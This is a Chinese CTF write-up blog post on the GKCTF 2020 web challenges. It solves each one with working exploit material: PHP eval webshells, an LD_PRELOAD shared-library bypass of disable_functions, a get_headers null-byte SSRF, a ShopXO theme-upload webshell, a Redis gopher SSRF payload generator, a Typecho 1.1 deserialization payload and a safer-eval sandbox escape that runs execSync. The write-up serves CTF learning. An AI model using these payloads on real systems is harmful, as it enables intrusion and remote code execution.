GKCTF web

原理可能看不太明白,操作步骤尽量写详细一些

CheckIN

唯一做出来的,还是太菜了

知识点

  • LD_PRELOAD劫持so

题目源码

<title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

可以看到,对传入的参数进行base64解码后执行了eval函数

先来读取一下phpinfo

<?php
$c = 'phpinfo();';
echo base64_encode($c);
#cGhwaW5mbygpOw==
?>

payload

?Ginkgo=cGhwaW5mbygpOw==

可以看到disable_functions处过滤了很多函数

 

想到之前极客大挑战做过的那道RCE Me,猜想这里可能要使用LD_PRELOAD劫持so来绕过disable_funtions的限制

先构造shell连接蚁剑,注意,这里是php7,assert没有用了

<?php
$b = 'eval($_POST[\'cmd\']);';
echo base64_encode($b);
#ZXZhbCgkX1BPU1RbJ2NtZCddKTs=
?>

看到根目录下有一个readflag文件和一个flag文件,一般来说,flag文件是无法直接读取的,要通过调用readflag程序来读取

 

参考http://0xcreed.jxustctf.top/2019/10/bypass-disable-functions/

bypass.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ; //获取环境变量

__attribute__ ((__constructor__)) void preload (void)
{
    
    const char* cmdline = getenv("EVIL_CMDLINE");
    //获取EVIL_CMDLINE的值
    int i;
    //从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
    //从而使下面的system()正常执行。
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // 执行命令
    system(cmdline);
}

编译

gcc -shared -fPIC bypass.c -o bypass_x64.so

bypass.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);  //加载恶意动态库
    mail("", "", "", "");  //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

将bypass.php和bypass_x64.so文件通过蚁剑上传到tmp目录下,直接拖进去就能上传。

 

然后包含一下bypass.php文件

<?php
$a = 'include(\'/tmp/bypass.php\');';
echo base64_encode($a);
#aW5jbHVkZSgnL3RtcC9ieXBhc3MucGhwJyk7
?>

最终payload

?Ginkgo=aW5jbHVkZSgnL3RtcC9ieXBhc3MucGhwJyk7&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so

 

第二种解法:

参考https://www.gem-love.com/ctf/2361.html

前面连shell步骤一样,exp来自https://github.com/mm0r1/exploits

使用php7-gc-bypass

修改一下exploit.php,将readflag的输出结果重定向至/tmp/result.txt文件

 

将exploit.php文件上传到tmp目录下

包含一下,访问result.txt即可得到flag

 

<?php
$a = 'include(\'/tmp/exploit.php\');';
echo base64_encode($a);
#aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==
?>
?Ginkgo=aW5jbHVkZSgnL3RtcC9leHBsb2l0LnBocCcpOw==

 

cve版签到

比赛时没做出来

知识点

  • cve-2020-7066

get_headers的00截断漏洞

参考https://bugs.php.net/bug.php?id=79329

就是结尾要满足.ctfhub.com,然后调用了get_headers()函数,空字节后面的就被截断了,读取不到

http://127.0.0.1%00.ctfhub.com ==> http://127.0.0.1

 

payload

?url=http://127.0.0.1%00.ctfhub.com

 

 

要求要以123结尾

?url=http://127.0.0.123%00.ctfhub.com

 

老八小超市儿

shopxo模板

 

 

网上搜到后台默认密码为shopxo

 https://ask.shopxo.net/article/5

 

 

登录进去

百度查到shopxo有任意文件上传漏洞,参考http://www.nctry.com/1660.html

在应用商店->主题中下载免费的主题压缩包

在_static_目录中添加一句话木马

<?php
@eval($_POST['mech']);
?>

 

将修改好的主题压缩包上传,位置在网站管理->主题管理->主题安装

使用蚁剑连接

http://463dd30c-13b3-4c9a-aea7-b110bdb8f007.node3.buuoj.cn/public/static/index/default/mech.php

 

 

看到根目录下有flag,flag.hint,auto.sh文件

打开auto.sh

 

 

看到有一个py文件,每隔60s运行一下这个py文件

打开makeflaghint.py

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

这个文件我们有写权限,修改一下

修改成

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f = open('/tmp/fla','w')
g = open('/root/flag','r')
f.write(g.read())
#f.write(str(gk1))
#f.write(str(gk))
f.close()
g.close()

等上一分钟即可在/tmp目录下读到flag

 

 

参考https://www.gem-love.com/ctf/2361.html

 

EZ三剑客-EzWeb

知识点

  • 内网探测
  • ssrf+redis未授权

源码中看到提示

 

访问一下看到ip地址

 

 

尝试在输入框中输入

http://173.24.221.10

抓包爆破一下内网

 

 

 

提示端口

 

 

爆破一下端口,发现6379(Redis)端口可用

 

 

file被禁,使用gopher

exp来自https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

import urllib
protocol="gopher://"
ip="173.112.190.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
gopher://173.112.190.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

在输入框里输入生成的payload

之后的payload为

?url=http%3A%2F%2F173.112.190.11%2Fshell.php?cmd=system(%27cat$IFS$9/flag%27);&submit=提交

参考https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzNode

 

EZ三剑客-EzTypecho

知识点

  • Typecho 1.1反序列化

参考颖奇师傅博客https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho

exp

<?php

class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'system(\'cat /flag\')';
        $this->_filter[0] = 'assert';
    }
}

$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($payload));

?>

将参数变成

install.php?start=1

添加referer头

http://c08aff97-0736-469b-a066-5b1d93d0ccb4.node3.buuoj.cn/install.php

post参数

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCdjYXQgL2ZsYWcnKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oJ2NhdCAvZmxhZycpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

 

EZ三剑客-EzNode

知识点

  • saferEval沙箱逃逸

查看源代码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

菜鸟教程https://www.runoob.com/w3cnote/javascript-settimeout-usage.html

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法格式可以是以下两种:

setTimeout(要执行的代码, 等待的毫秒数)
setTimeout(JavaScript 函数, 等待的毫秒数)
Nodejs文档
setTimeout 当delay⼤于 2147483647或⼩于1时,则delay将会被设置为1。⾮整数的delay会被截断为整数。
delay = Math.max(delay, parseInt(req.query.delay));

取我们传入的delay的值和预设值中的最大值,当我们传入的值足够大,timeout为1

查看版本

 

 

post一个e参数,对传入的参数执行saferEval函数

payload

eval?delay=1000000000000
e=(function(){const process = clearImmediate.constructor("return process;")(); return process.mainModule.require("child_process").execSync("cat /flag").toString()})()

 

参考https://blog.csdn.net/weixin_43784056/article/details/106354376?fps=1&locationNum=2

另外一种payload,参考https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));
eval?delay=1000000000000
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

posted @ 2020-05-24 21:46  山野村夫z1  阅读(415)  评论(0编辑  收藏  举报